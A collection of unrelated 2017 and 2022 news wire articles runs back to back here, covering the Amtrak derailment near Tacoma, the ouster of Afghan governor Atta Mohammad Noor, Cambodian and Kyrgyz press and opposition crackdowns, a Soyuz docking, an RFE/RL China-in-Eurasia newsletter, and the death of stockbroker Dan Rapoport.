@WSPD1PIO/Twitter (TACOMA, Wash.) -- Even before arriving on the scene of Monday's Amtrak crash south of Seattle, National Transportation Safety Board investigators said they would look at whether a safety technology called positive train control (PTC) could have prevented the crash.



That question became more pressing after federal investigators said late Monday that the train was going approximately 50 mph faster than the speed limit on the section of track where it derailed, killing at least three people and sending more than 90 others to the hospital.



NTSB investigators will spend the next seven to 10 days at the crash site collecting information. Typically the agency's investigators review data for more than a year before meeting publicly in Washington, D.C., to determine why and how a crash occurred.



But news of the excessive speed of the train will without doubt spark speculation long before an official determination of contributing factors and probable causes.

On a call with reporters Monday afternoon, Amtrak President and co-CEO Richard Anderson said PTC, designed in part to prevent trains from approaching curves too quickly, was not yet active on the derailed train's Amtrak route. The train was on the route's inaugural run on Monday.

Department of Transportation

PTC can automatically slow a train traveling dangerously fast  a factor in a number of deadly derailments, including a 2015 Amtrak crash in Philadelphia that killed eight people.



A 2008 crash in California that killed 25 people pushed lawmakers to mandate that railroad companies complete PTC installation by the end of 2015, but Congress has twice pushed back that deadline  first to the end of 2018  and now railroads may apply for a deadline extension until 2020. Federal investigators have said the technology probably would have prevented the Philadelphia derailment.



"This five-year extension of lifesaving technology is way too long, with way too little guarantee that PTC implementation will get done," Sen. Richard Blumenthal, D-Conn., said at the time of the first extension.



The railroads got their wish after calling the 2015 deadline arbitrary and unworkable.



The NTSB has urged railroads not to apply for extensions, saying that would put the traveling public at risk.



"The NTSB has been recommending positive train control for 40 years," NTSB member Bella Dinh-Zarr reminded reporters in Hoboken, New Jersey, after a deadly NJ Transit crash in 2016. She is the board member currently assigned to the NTSB go team investigating Monday's Amtrak crash.



Investigators will likely wait until the end of the probe to announce what could or could not have prevented the crash.



According to the most recent Department of Transportation progress report, Amtrak has installed PTC technology on 67 percent of its tracks and 49 percent of its locomotives. The Northeast Corridor, the busiest Amtrak route in the country, has PTC fully installed.



Amtrak did not immediately respond to a request for comment on this story.

Copyright  2017, ABC Radio. All rights reserved.
iStock/Thinkstock(NEW YORK) -- West Yorkshire police in England arrested four men early this morning on suspicion of plotting a terror attack, authorities said.



Planning for the alleged plot was believed to be at an advanced stage and connected to a Christmas target, a Yorkshire Police spokesman told ABC News today. The arrests followed searches in Sheffield and Chesterfield and searches in the area are ongoing, according to police.



The four men, ages 21 to 41, are being questioned at a police station in West Yorkshire after being detained in Sheffield and Chesterfield, police said.



The threat level for international terrorism in the U.K. was already "severe," meaning an attack is "highly likely."



This is a developing story. Please check back for updates.



Copyright  2017, ABC Radio. All rights reserved.
A senior official from Cambodias recently dissolved opposition party on Monday rejected a suggestion by the countrys prime minister to form a new political party ahead of upcoming elections, calling it a tactic meant to defuse international pressure over ongoing restrictions on democracy.



In November, Cambodias Supreme Court disbanded the opposition Cambodia National Rescue Party (CNRP) and barred 118 of its officials from politics for five years for the partys involvement in an alleged plot to overthrow Prime Minister Hun Sens government. CNRP President Kem Sokha has been in pre-trial detention since his arrest in September on charges of treason.



While speaking to garment workers in the capital Phnom Penh on Sunday, Hun Sen said that CNRP officials who are not banned from politics should give up hope that the party will be reinstated, and instead form their own party to take part in a general ballot scheduled for July 2018.



On Monday, CNRP deputy president Eng Chhay Eang, who is living in self-imposed exile, dismissed Hun Sens recommendation, saying the prime minister was attempting to legitimize next years elections amid mounting international criticism over his governments targeting of the opposition and a months-long crackdown on NGOs and the media.



This political tactic is nothing but a way to defuse international pressure, Eng Chhay Eang wrote in a post on his Facebook account, adding that CNRP officials would never form a new party.



After he has arrested our president Kem Sokha and dissolved our party, he now offers us a roadmap he wants us to follow. However, we are not going to walk the way Hun Sen wishes us to. If we follow his suggestion, Cambodia will be internationally isolated, and Cambodians will live in poverty and fear.



Last week, the U.S. and EU said they plan to compile lists of individuals who spearheaded the dissolution of the opposition and other rights violations in Cambodia, with a view of leveling sanctions against them, and have pledged to review trade agreements with the country.



Both the U.S. and EU have also announced that they are withdrawing funding of the election next year, and Washington recently placed visa restrictions on individuals responsible for undermining Cambodian democracy in response to the arrest of Kem Sokha and the dissolution of the CNRP. Hun Sen said over the weekend that he will reciprocate with a visa ban on U.S. officials if Washington doesnt lift its restrictions.



Different goals



Eng Chhay Eang said Monday that rather than following Hun Sens advice, his party plans to focus on getting the court ruling on the dissolution of the CNRP reversed; getting Kem Sokha and other political prisoners released; [and] getting charges against opposition politicians, civil society groups, and members of the media dropped.



Additionally, he said, the CNRP will work towards ensuring civil society organizations and the independent media can function fully and freely, and holding free and fair elections in 2018.



The road we will travel will bring Cambodia and our people to stability, peace and genuine development, and result in an election that will be recognized by the international community, he said.



In another speech delivered to garment workers on Monday, Hun Sen maintained that the CNRP will never be reborn and advised opposition officials to return to your previous parties and join our next election, referring to the Sam Rainsy Party (SRP) and Human Rights Party (HRP), which merged to formed the CNRP ahead of Cambodias 2013 ballot.



There are several other parties that will take part in the electionthose parties have benefited from the dissolution of the CNRP, he said, adding that the vote will go on with or without their participation.



At the end of last month, the National Assembly reallocated the CNRPs parliamentary seats to Hun Sens ruling Cambodian Peoples Party (CPP) and three government-aligned political parties, while the CNRPs elected local officials have been pressured to defect to the CPP or lose their positions. CNRP officials who do not declare their assets within 30 days of leaving office risk imprisonment.



The significant gains made by the CNRP in recent elections pointed to the likelihood of a strong showing in next years ballots, but observers have said that with the partys dissolution, Hun Sen effectively no longer faces any competition in 2018, and have called into question the legitimacy of upcoming votes.



Appeal to armed forces



Also on Monday, former CNRP President Sam Rainsywho has been living in self-imposed exile since 2015 to avoid convictions on charges widely seen as politically motivatedreiterated an earlier call for Cambodians to stand up in peaceful protest against Hun Sens government, which he accused of holding them hostage, and again appealed to Cambodias armed forces not to fire on demonstrators.



The Cambodian people must not allow Hun Sen to hold them hostage and to blackmail the donor community, said Sam Rainsy, who resigned in February this year in a bid to preserve the CNRP in the face of a law that bars anyone convicted of a crime from holding the top offices in a political party.



They must stand up to push for a democratic change and get rid of an anachronistic dictator through a real and credible election with the participation of the CNRP, he said.



I again appeal to the armed forces to stand by the people and to refrain from shooting and killing innocent citizens who peacefully demand freedom and justice.



Unprecedented international sanctions will make the Hun Sen regime collapse if it does not reverse the ongoing crackdown, Sam Rainsy said, adding that the government is growing increasingly desperate.



In November, Hun Sen lashed out at CNRP supporters who held peaceful protests against election results in late 2013 and early 2014, accusing them of involvement in a plot to overthrow the government and saying he had only recently seen a video of the demonstrations that would have driven him to order the military to execute them, had he seen the clip at the time they were staged.



Sam Rainsy responded by telling supporters in Paris that he believes most soldiers in Cambodia do not like Hun Sen and that they need to know the prime ministers days are numbered, urging them to please disobey orders from any dictators who tell you to shoot and kill innocent people.



Panel discussion



A panel discussion organized by the U.S. and EU on the Devolution of Democracy in Cambodia is scheduled for Tuesday at the U.S. Mission to the United Nations in New York.



Cambodias Permanent Mission to the U.N. registered its strong protest to the panel discussion in a statement on Monday, saying the event was politically motivated with the clear intent to mislead international public opinion and runs counter to the principle of respect for sovereignty and non-interference.



Reported by RFAs Khmer Service. Translated by Nareth Muong. Written in English by Joshua Lipes.
One of Afghanistan's most powerful regional politicians has vowed to fight his ouster as governor of the northern province of Balkh, posing a potential threat to the shaky, Western-backed governing coalition of President Ashraf Ghani.

The presidential palace said on December 18 that it had approved the resignation of Atta Mohammad Noor, who goes by the nickname "King of the North" and is a leading figure in Jamiat-e Islami, a party which represents Afghanistan's Tajik ethnic group.

Noor had used his position in Balkh, on the northern border of the country, as a power base to push for a major role on the national stage and was seen as a top rival of Ghani.

While Kabul portrayed Noor's departure as a "resignation," he called it a "dismissal" and said he will fight the move.

"My dismissal has no legal or legitimate basis," Noor said on Afghan national television. "For now, we are only resorting to civil action, but if this atrocity continues, there are many other options."

Noor's Jamiat-e Islami party in a statement on social media strongly condemned what it called a "one-sided decision," saying it was "hasty, irresponsible, against the security...and in contradiction of the principles of the national unity government."

A Jamiat spokesman in an interview with the German news agency dpa said it is possible party members will withdraw from their posts in the unity government, potentially destabilizing the government. He said the party would decide at a meeting on December 19.

Noor is one of several powerful regional and ethnic leaders whom Ghani has struggled to control since he took office after a disputed election in 2014. Ghani, a Pashtun, has tried previously to remove Noor, but has also discussed a possible role in the government for him.

Ghani's office said Noor submitted his resignation several months ago, but the move did not take effect until Ghani approved it on December 18, when he announced that Mohammad Daoud, also from Jamiat, will become the next governor of Balkh Province.

Noor, who has demanded senior positions in the government for some of his allies, said his resignation had been offered with conditions attached, but those conditions were not respected.

"Since they didn't meet their responsibilities, I don't accept it," he said.

Ghani's national unity government, formed after the 2014 election forced him into an uneasy power-sharing arrangement with his former rival Abdullah Abdullah from Jamiat, retains the support of the United States and other Western nations.

But it has faced mounting criticism from a growing array of opposition groups.

Parliamentary elections originally due to be held next year are in doubt and former President Hamid Karzai has called for a loya jirga, or traditional grand council of political leaders and elders, to decide the future of the government.

Noor's removal also comes at a time when tensions between Tajiks and Pashtuns, Afghanistan's two biggest ethnic groups, have been rising.

It heightens uncertainty ahead of a presidential election in 2019. Noor has previously hinted that he may run for the presidency, while Ghani has not yet said whether he will run again.

The confrontation with Noor comes several months after Vice President Rashid Dostum, an ethnic Uzbek, fled to Turkey after he was accused of arranging the rape and torture of a political rival in 2016.

Noor recently called for Dostum's return. Earlier this year, he met in Turkey with Dostum as well as Deputy Chief Executive Mohammad Mohaqiq, a senior figure in the mainly Shi'ite Hazara ethnic community, to form what they called the "Coalition for the Salvation of Afghanistan."

With reporting by AFP, dpa, RFE/RL's Afghan Service, and Reuters


MAZAR-E SHARIF, Afghanistan -- Jawid, an ethnic Tajik shopkeeper in the northern Afghan city of Mazar-e Sharif, has been building up his small business during the past decade within a pocket of relative stability.

Now, with President Ashraf Ghani's removal of the governor of Balkh Province, Atta Mohammad Noor, Jawid says he fears the kind of lawlessness and conflict that has hindered reconstruction in many other parts of Afghanistan.

"The security situation in Mazar-e Sharif has been good and we are happy about it," Jawid told RFE/RL. "We do not want Atta Mohammad to be replaced."

Despite his reputation as a strongman who refuses to tolerate opposition and a history of alleged human rights abuses, Noor has been credited and praised by Western officials for bringing criminal groups and rival militia factions under control since he was appointed as Balkh's governor in 2004 by then-President Hamid Karzai.

While Taliban fighters and other Islamic militants have destabilized much of Afghanistan, relative security in Balkh allowed reconstruction programs to move forward and additional international aid to be disbursed in the province.

Major infrastructure development in the provincial capital, Mazar-e Sharif, brought an economic boom that often benefited Noor's political patrons.

That allowed Noor, a former anti-Soviet and anti-Taliban militia commander from the largely ethnic Tajik Jamiat-e Islami party, to become the main source of political power in Balkh Province.

Over time, Noor expanded his political base into other parts of northern Afghanistan.

Preelection Positioning?

Thomas Ruttig, a co-founder of the Afghanistan Analysts Network, is convinced that Noor has aspirations to run for the Afghan presidency in an election scheduled for 2019.

That appears to have prompted an internal power struggle with other Jamiat-e Islami leaders who have presidential aspirations and currently hold positions in Afghanistan's national-unity government, including Foreign Minister Salahuddin Rabbani and Chief Executive Abdullah Abdullah.

Thus, Ruttig says, Noor's removal from the Balkh governor's post represents "positioning before the presidential elections" and positioning within Jamiat-e Islami.

"It is very clear that Atta Mohammad became one of the alternative power centers in Afghanistan using a regional base, which makes the Afghan state unstable," Ruttig says. "From the point of view of the president, Ghani has done something trying to stabilize" the country.

Ruttig says Noor has "come out as the most powerful" of the party's leaders "because he controls the most territory of all the Jamiat-e Islami leaders in the north and the northeast."

"He has consolidated himself there also, of course, by profiting from economic development," Ruttig says.

Immediately after the fall of the Taliban regime after the U.S.-led invasion in late 2001, Noor was not such a big player in Jamiat-e Islami, Ruttig says. "At least five other people were considered first for powerful positions in Afghanistan's [post-Taliban] central government."

Those include former Jamiat-e Islami militia commanders or their close associates, such as former Defense Minister Mohammad Qasim Fahim, who died in 2014; former Herat Province Governor Mohammad Ismail Khan; former Vice President Yunus Qanuni; former Vice President Ahmad Zia Masud, the brother of the anti-Soviet and anti-Taliban resistance leader Ahmad Shah Masud; Rabbani, the son of the late Afghan President Burhanuddin Rabbani; and Abdullah.

"Atta Mohammad is actually a later generation of those bigger commanders," Ruttig notes. "His rise was after 2001 while the others were already" in strong positions within Jamiat-e Islami when the Tailban regime collapsed in late 2001.

Resisting The Lure Of Kabul

Ruttig says Noor also learned from watching other powerful regional leaders removed from power or "tempted to go to Kabul" to take posts in the central government.

"He resisted this and that's why he also has tried not to be removed from his base in Mazar-e Sharif because he knows that will erode his grip on that area, very clearly," Ruttig says.

Ghani, an ethnic Pashtun, had vowed to replace all of Afghanistan's provincial governors and tried to dismiss Noor in the past -- notably, after Noor went to Turkey in mid-2017 and announced the formation of an opposition alliance in Turkey with exiled Afghan Vice President Abdul Rashid Dostum, an ethnic Uzbek, and Deputy Chief Executive Mohammad Mohaqiq, a leading figure in the mainly Shi'ite Hazara community.

With Noor's removal, Ghani has now replaced all of Afghanistan's provincial governors.

But Noor can still challenge the decision in court or mobilize his supporters to carry out protests against his removal from office.

"My dismissal has no legal or legitimate basis," Noor said on Afghan national television after Ghani's decision was announced on December 18. "For now, we are only resorting to civil action, but if this atrocity continues, there are many other options."

Noor's Jamiat-e Islami party in a statement on social media strongly condemned what it called a "one-sided decision," saying it was "hasty, irresponsible, against the security...and in contradiction of the principles of the national-unity government."

One Jamiat spokesman said it is possible party members will withdraw from their posts in the unity government, potentially destabilizing the administration.

But Ruttig says he doesn't expect Rabbani or Abdullah to resign from their posts in protest because those positions in government put them in a better position if they choose to become candidates in the next presidential election.

Kabul-based political analyst Nasir Shafiq tells RFE/RL that Noor's dismissal will create security problems in northern Afghanistan, where Islamic State (IS) militants have emerged in the neighboring province of Jawzjan.

"If we lose a part of the government such as Jamiat-e Islami of Afghanistan, whose chief executive is [Noor], we will lose a very important element that the government has against the armed oppositions," Shafiq says. "This will result in a lack of confidence and disbelief on the part of people toward the government."

Written and reported by Ron Synovitz with reporting by RFE/RL's Radio Free Afghanistan correspondent Mujib Rahman Habibzai in Mazar-e Sharif
The European Union and Kyrgyzstan have launched negotiations on a new bilateral agreement.

The EU announced on December 19 that foreign policy chief Federica Mogherini and Luc Devigne, the director of a department overseeing ties with Central Asian countries and others in the region, held talks with Kyrgyz Deputy Foreign Minister Emil Kaikiev.

Mogherini said that during her visit to Bishkek in November, Kyrgyz officials "shared with me their ambitious reform agenda and their commitment to strengthen democracy, promote transparency and good governance, and develop new economic opportunities."

"A new, enhanced agreement will allow us to further support these aspirations, to build stronger political and economic ties, and to create more possibilities to bring benefits both in the EU and in Kyrgyzstan," she said in a statement announcing the negotiations.

The new agreement would replace the current Partnership and Cooperation Agreement endorsed in 1999. It is to focus on political cooperation, trade and investment relations, economic cooperation in support of sustainable development, and other aspects of bilateral relations, the EU says.

During her visit to Bishkek, Mogherini expressed the EUs readiness to start negotiations on the new agreement, which she then called "ambitious."

The EU and neighboring Kazakhstan concluded a new agreement last year. Both Kazakhstan and Kyrgyzstan have close ties to Moscow and are members of the Eurasian Economic Union, a grouping of ex-Soviet republics that is dominated by founding members Russia, Kazakhstan, and Belarus.
Three new crew members have boarded the International Space Station (ISS) after a two-day trip from Earth.

Russian cosmonaut Anton Shkaplerov, Norishige Kanai of Japan, and U.S. astronaut Scott Tingle of NASA, traveling aboard their Soyuz spacecraft, docked with the orbital outpost on December 19.

A commentator on NASA TV called it a "textbook arrival" at the space station, which was about 250 miles above Italy when the docking took place.

Russian space agency Roscosmos confirmed that the Soyuz MS-07 had "successfully docked" at the ISS.

The new crew members joined Russia's Alexander Misurkin and NASA astronauts Mark Vande Hei and Joe Acaba on the station, which has been orbiting the planet since 1998.

They arrived five days after Sergei Ryazansky of Roscosmos, NASA's Randy Bresnik, and European Space Agency astronaut Paolo Nespoli of Italy left the station and landed in Kazakhstan.

It is the first space voyage for flight engineers Tingle and Kanai. Shkaplerov, the flight commander, has spent a year in space over two previous missions.

The trio lifted off from the Russian-rented Baikonur launch facility in Kazakhstan on December 17.

NASA stopped conducting its own manned launches to the ISS in 2011.

But the U.S. space agency has taken steps to increase the number of crew aboard the U.S. section of the ISS to four, while Russia cut its crew complement to two in a cost-saving measure announced in 2016.

With reporting by AFP, Reuters, and Interfax
Welcome back to the China In Eurasia briefing, an RFE/RL newsletter tracking Chinas resurgent influence from Eastern Europe to Central Asia. Im RFE/RL correspondent Reid Standish.

Before we get started, a few announcements: The newsletter is now biweekly, rather than going out only on the first and third Wednesdays of each month. To subscribe, click here.

And I will also be launching Talking China In Eurasia, a new podcast. Im joined by the Royal United Services Institutes Raffaello Pantucci to talk about Xi and Putin. Listen to the first episode here or below.

Xi Gets Pragmatic About Russia At The G20

It was light on optimism, but U.S. President Joe Biden and Chinese leader Xi Jinping injected a healthy dose of pragmatism back into the U.S.-China relationship with their meeting in Bali at a time when global anxiety is rising over Russias war against Ukraine.

Finding Perspective: The meeting on the sidelines of the Group of 20 summit was far from a breakthrough, but it did repair some damage from the recent backslide in relations between both countries and send some signals that the world isnt necessarily destined for Cold War 2.0.

The more than three-hour talks saw some blunt exchanges over contentious issues like Taiwan and North Korea, but the two leaders also pledged more frequent communications and decided that U.S. Secretary of State Antony Blinken will travel to Beijing for follow-up talks in 2023.

Of particular note, Biden raised Russias invasion of Ukraine and threats by Russian President Vladimir Putin to use nuclear weapons. Both leaders reiterated their agreement that a nuclear war should never be fought, according to a White House readout.

While far from a sea change for Chinese policy, thats notable. The credibility of Beijings claims to be neutral on the Ukraine war continue to come under scrutiny, and China has shown discomfort of late with the Kremlins nuclear saber-rattling.

Xi made similar comments after a November 4 summit with German Chancellor Olaf Scholz and during another G20 meeting with French President Emmanuel Macron, according to the French readout.

Why It Matters: Xi is not abandoning Putin, but this marks the latest shift for Beijings balancing act over Russias invasion of Ukraine.

Four Chinese officials briefed on the February 4 meeting between Xi and Putin, where they declared a no-limits partnership, told the Financial Times that Putin didnt tell Xi the truth about the invasion and that Beijing was caught off guard by it.

What Xi knew about Putins war plans has been a topic of debate, and there is evidence to support both the idea that Xi was aware and that he was caught off guard.

Many analysts are of the opinion that Xi knew about Putin's decision to invade but expected a quick victory, which perhaps was what Putin believed at the time.

Others point to a steady stream of dismissals from Chinese officials and experts about the likelihood of an invasion in February and the fact that Beijing did not evacuate its citizens from Ukraine  like Western nations did  as evidence that China was not expecting a war.

China certainly has its own interests in keeping a distance from Moscows war and using that space to do some upkeep with the West. But perhaps the most important point here is that even if Putin did blindside Xi, China has stuck with Russia despite its battlefield failures, political isolation, and the atrocities its troops are accused of committing.

Again, this is pragmatism more than anything else. As Chinese experts often say, even if Russia is looking unattractive these days, why would Beijing abandon its main anti-Western partner as China continues to be in the crosshairs of rising American pressure?

Read More

 Want to hear more about Russia and Chinas complex relationship amid the Ukraine war? Then tune in to the debut of Talking China In Eurasia today at 2 p.m. CET/ 8 a.m. EST. You can listen live here and find the episode on RFE/RLs website and wherever you listen to your podcasts.

 Condemning Russias invasion of Ukraine and its global fallout is shaping up to be the key theme of the G20, with the Financial Times reporting that a joint communique from the summit takes aim at Moscow.

Expert Corner: The Future Of The China-Pakistan Economic Corridor (CPEC)

Readers asked: Did Pakistani Prime Minister Shehbaz Sharifs recent trip to Beijing breathe new life into the China-Pakistan Economic Corridor (CPEC)? How do Islamabad and Beijing really feel about the project after all these years?

To find out more, I asked Filippo Boni, an expert on China-Pakistan relations at the Open University in Britain:

Shehbaz Sharif's visit to China was high on symbolism and relatively low on substance. While the two sides were keen to reaffirm and emphasize the strength of their strategic partnership, no significant new commitment was made. Apart from a few memorandums of understanding and attempts from the Pakistanis in the run-up to the trip to address some of CPECs issues  including payments to Chinese independent power producers  nothing major came from the visit. This is despite Sharif's attempts at revitalizing CPEC since April and the very close ties he enjoys with the Chinese leadership.

The outcome of this visit is not entirely surprising, especially if interpreted against the backdrop of Pakistan's current domestic predicaments. The security situation for Chinese nationals has deteriorated, the economy is struggling, and political instability is at one of its highest points in recent years. All these dynamics, coupled with the global scaling down of Belt and Road Initiative financing, have likely impacted Beijing's lack of commitment to new projects.

After almost 10 years and $25 billion worth of projects, there seems to be a general consensus on both sides that the first phase of CPEC  the one focused primarily on energy projects  was largely successful. The same cannot be said for the second phase, including the slow progress on the development of Special Economic Zones, and for the port of Gwadar, where little progress has been made for the ports full commercial functioning.

Do you have a question about Chinas growing footprint in Eurasia? Send it to me at StandishR@rferl.org or reply directly to this e-mail and Ill get it answered by leading experts and policymakers.

Three More Stories From Eurasia

1. 'Sweep It Under The Rug'

Recent allegations of China operating 54 overseas police stations have fueled controversy around the world and sparked investigations, but in Hungary and Serbia the new findings are being met with swift denials by authorities, despite growing evidence.

The Details: My colleagues Akos Keller-Alant from RFE/RLs Hungarian Service, Mila Durdevic from RFE/RLs Balkan Service, and I reported on the fallout from these revelations and the slew of probes launched in many European countries recently.

The stations are overseas operations of the public security bureaus from two Chinese provinces and are used to persuade citizens to return to China, including through pressure on family members at home. While most of those involved appear to be suspected of crimes such as telecommunications fraud or corruption, dissidents have also reported that the stations have been used to monitor and threaten them.

Fourteen governments have already launched investigations into the overseas police stations, and the Dutch and Irish governments have ordered China to shut down the facilities in their countries.

But in Hungary and Serbia  two countries where Beijing is said to operate such facilities and whose governments prize their warming political and economic ties with China  officials appear to be trying to sweep it under the rug, as one analyst characterized it, despite growing scrutiny from opposition lawmakers in each country.

2. Global Ripples Hit Central Asia

Political and economic shocks from Moscows war in Ukraine, coupled with added strains from tensions between Beijing and Washington, are taking their toll around the world, especially in Central Asia, where countries in the region are closely tied to both China and Russia.

What It Means: As RFE/RLs Uzbek Service reported, Vladimir Norov, the countrys foreign minister, warned about geopolitical tensions affecting stability in the region and beyond while addressing his counterparts at an Organization of Turkic States meeting in Samarkand.

The breakdown in global cooperation is felt particularly strong in Central Asia. While some economies have been able to benefit by becoming a new home for businesses and capital relocated from Russia, others are seeing investment dry up and their economies coming under strain.

World Bank Vice President for Europe and Central Asia Anna Bjerde recently warned that Uzbekistan needs to continue with its market reforms in order to withstand the global economic shocks that are to come.

RFE/RLs Kyrgyz Service also reported that the countrys government is trying to court more investment but that questions remain from investors about Kyrgyzstans stability and investment climate. According to official statistics from January to June of this year, China is the leading source of foreign investment, with $129 million during that span.

3. The Tech In Moscows Iranian Drones

A new investigation by Schemes, the investigative unit of RFE/RL's Ukrainian Service, looked into electronic components underpinning Tehran's production of the Mohajer-6 drone, which Russia has used in its war in Ukraine, and found that theyre far from homegrown.

What You Need To Know: The Mohajer-6 drones contain components produced by companies from the United States and the European Union, both of which have sanctions restricting the export to Iran of technology that can be used for both civilian and military purposes.

The investigation also found drone components produced in China, including a real-time mini-camera made by a Hong Kong firm.

The drone also contains a microchip bearing the logo of a California technology company and a thermal-imaging camera that Ukrainian intelligence says may have been produced by a firm based in Oregon or China.

The international tech in the drone not only highlights the complex ecosystem that allows firms and buyers to circumvent sanctions slapped on both Iran and Russia, but also the close networks between Chinese and Western tech companies that still exist, despite a recent push to break some of those linkages.

Across The Supercontinent

On The Mainland: The watchdog group Freedom House recently launched a new project called the China Dissent Monitor, which tracks protests and other forms of dissent inside China. Read it here.

Censored: Chinese authorities behind a major trade expo in Shanghai pulled an opening ceremony address by European Council President Charles Michel that was set to criticize Russia's illegal war in Ukraine and call for reduced European dependency on China, Reuters reported.

Backtracking: British Prime Minister Rishi Sunak has softened his countrys stance toward China, moving away from his predecessor Liz Trusss decision to label it a threat.

One Thing To Watch

How long will Chinas stringent COVID policies stay in place?

New infections are rising as a winter wave hits and popular frustration continues to boil over inside the country as investor confidence stays dented over the measures. New footage also showed crowds of residents in the southern metropolis of Guangzhou escaping a compulsory lockdown and clashing with police.

Thats all from me for now. Dont forget to send me any questions, comments, or tips that you might have.

Until next time,

Reid Standish

If you enjoyed this briefing and don't want to miss the next edition, subscribe here. It will be sent to your in-box on the first and third Wednesdays of each month.
BISHKEK -- Court officers in Kyrgyzstan have raided the independent television station NTS, which is owned by opposition politician Omurbek Babanov.

NTS said court executors and police officers arrived in the afternoon on December 19 with what they said was a court ruling allowing them to impound the station's property.

Police cordoned off the area around the building in the capital, Bishkek, where the TV station is based and were not allowing people to enter.

Video on the station's Facebook page showed police officials inside the station explaining the situation to employees, several of whom were arguing with them.

"We are still researching the document issued by the interdistrict court in Bishkek, which says all our properties, assets, equipment, and everything else must be seized," NTS TV Director-General Jainak Usen said at a news conference.



"We asked for time until 11 a.m. on Wednesday [December 20]. Right now we can say openly that it is a very clear attempt to attack press freedom and to shut down the leading independent TV channel in Kyrgyzstan," he added.

NTS TV, which broadcasts countrywide and is the largest private TV station in Kyrgyzstan, remained on the air during the incident and court officials said they were present to calculate and register all property and equipment at the station and did not intend to interrupt broadcasting.

The Prosecutor-General's Office, the Interior Ministry, and the State Committee for National Security told RFE/RL they had no information about NTS's property being impounded.

Supreme Court officials told RFE/RL they were seeking to find the reason for the actions taken at the TV station.

Usen said that Grexton Capital Ltd and Ayant LLC were the applicants of the seizure application, and that before the December 19 action, "we did not receive any claims from the two companies, either in the form of statements of claim, or in the form of notices that there are any claims to our organization."

"It said that the NTS is a third party," he said. "One reason [for the seizure] is to close NTS."



Usen said NTS will challenge the court ruling.

A spokesman for Grexton Capital told reporters that the procedures for inventorying NTSs assets "are not intended to interfere with broadcasting at all."

"The court executors will do their job -- describe the equipment -- and broadcasting will continue. To say that broadcasting will be terminated is simply an initiative of the NTS staff to create a sensation," the woman, who refused to introduce herself to journalists, said.

NTS is owned by Babanov, a successful businessman who finished second in the October 15 presidential election but left the country after an investigation was launched into charges he incited ethnic hatred while campaigning for the election.

Babanov's current whereabouts is unknown.

NTS's branch radio station, Sanjyra, went off the air in November after Kyrgyz authorities refused to extend its license.

The move comes four months after a district court in Bishkek ruled that the digital private television channel Sentyabr (September), which was known for its criticism of President Almazbek Atambaev, must stop operations both online and on air because it broadcast "extremist" content.

Atambaev was succeeded by Sooronbai Jeenbekov, his protege and a former prime minister, who took office on November 24 after winning the presidential election in October. Atambaev, who was barred by the constitution to run for a second term, did not seek reelection.

The station remains off the air, but company officials launched a new Internet TV channel called Jalbyrak (Leaf) and is currently broadcasting online.

Also on December 19, the European Union and Kyrgyzstan launched negotiations on a new bilateral agreement.

The EU announced that foreign-policy chief Federica Mogherini and Luc Devigne, the director of a department overseeing ties with Central Asian countries and others in the region, held talks with Kyrgyz Deputy Foreign Minister Emil Kaikiev.

RFE/RL's Kyrgyz Service is a contributor to the NTS channel and other independent media in Kyrgyzstan.
WASHINGTON -- An American stockbroker who made a fortune in the Russian market in the 1990s and 2000s and later co-founded a posh Moscow nightclub before leaving the country died of blunt force injuries suffered as a result of a fall from a Washington, D.C. building.

The findings, released on November 16 by the Office of the Chief Medical Examiner (OCME), confirm that Dan Rapoport died on August 14 after falling from a height, but do not conclusively explain the circumstances leading up to his death.



Washington police told RFE/RL that an investigation into his death had ended and declined further comment. Earlier this year, a police spokeswoman told RFE/RL that foul play was not suspected, but that final conclusions were pending the autopsy.

Rapoport's untimely death triggered much speculation because he had voiced support for ardent Kremlin foe Aleksei Navalny before leaving Russia and, while living in Kyiv in recent years, had been a vocal supporter of Ukraine and an outspoken critic of Russian President Vladimir Putin.



Washington metropolitan police found Rapoport's body on August 14 on the sidewalk outside 2400 M Street, a nine-story apartment building in the northwest part of the city.



The medical examiner's report said Rapoport, 52, died of multiple blunt force injuries due to fall from height and described the death as sudden/unexplained. The report also said the manner of his death was undetermined.



The OCME said no other information would be immediately released.



A preliminary police report said officers responded to a report of a jumper on the evening of August 14, and the man, later identified as Rapoport, was taken to a nearby hospital, where he was declared dead.



The apartment building has an open rooftop with a pool, running track, and seating area for residents.

The police report said officers found $2,620 in cash on Rapoport when they discovered his body on the sidewalk, along with headphones, a cracked cell phone, a Florida drivers license, and other items.



He was wearing flip-flops, perhaps indicating he had been at the pool on the roof prior to falling.



Brianna Burch, a police spokesperson, told RFE/RL in August that there did not appear to be anyone with Rapoport at the time and there were no listed witnesses. In follow-up correspondences with RFE/RL through early November, the police continued to say they did not suspect foul play.



Rapoport had recently moved back to Washington after spending several years working in finance in Ukraine. He told RFE/RL in an interview in Washington in June that business had been tough due to the countrys high political risk and war with Russia.



While some friends said they did not believe he would have committed suicide, others said he had appeared depressed.



Go-To Location



A native of Latvia and a fluent Russian speaker, Rapoport emigrated with his family to the United States in 1980. After graduating from a U.S. university, he moved to Russia in the early 1990s as a wave of privatizations swept across the country.



The sale of former state-owned companies created a booming stock market, minting a new generation of millionaires, Russian and foreign.



Rapoport was respected within Russian financial circles, where he worked for more than a decade at a local brokerage called CenterInvest, making his way up to managing partner. He claimed his clients included some of the nation's wealthiest tycoons.

In 2007, he opened a swanky nightclub in downtown Moscow called Soho Rooms, which became the go-to location for Moscows elite.



In 2012, he left Russia and returned to the United States, saying the stock brokerage industry that had made him a fortune "had died" as commission fees shrunk with improvements in technology.

But in a media interview prior to his departure, he also criticized the direction Russia had taken under Putin and expressed support for Navalny, who was jailed last year on what Western governments say were trumped-up charges.

It has really become unbearable to live in Russia, Rapoport told media outlet FinParty in June of that year. We are all now dependent on one ruler. If this person decides that you will give birth to his child, then you will give birth, and if he decide to put you in prison, then you will serve time.

He told FinParty that he would give up his American citizenship and return to Russia if Navalny became president, saying the opposition leader was sincere in his desire to fight corruption.

He is a real hero of our time and deserves respect, Rapoport said of Navalny.

Rapoports frustration with Russia and his decision to leave may have been triggered by pressure on his businesses, friends and family have said.

Under Putin, the raiding of profitable businesses by -- or with the help of -- the nations security services has flourished. Rapoport allegedly lost his stake in Soho Rooms when his partners teamed up with security officials.

"Our flight to Washington is in 12 hours. It's sad to leave Russia, but for thoughtful people, living here has become unbearable and disgusting," Rapoport wrote on his Facebook page on June 13, 2012.

When Rapoport moved to Washington, where he said his parents lived, he set up a company called Rapoport Capital to advise and assist technology startups as well as venture capital funds on fundraising options.

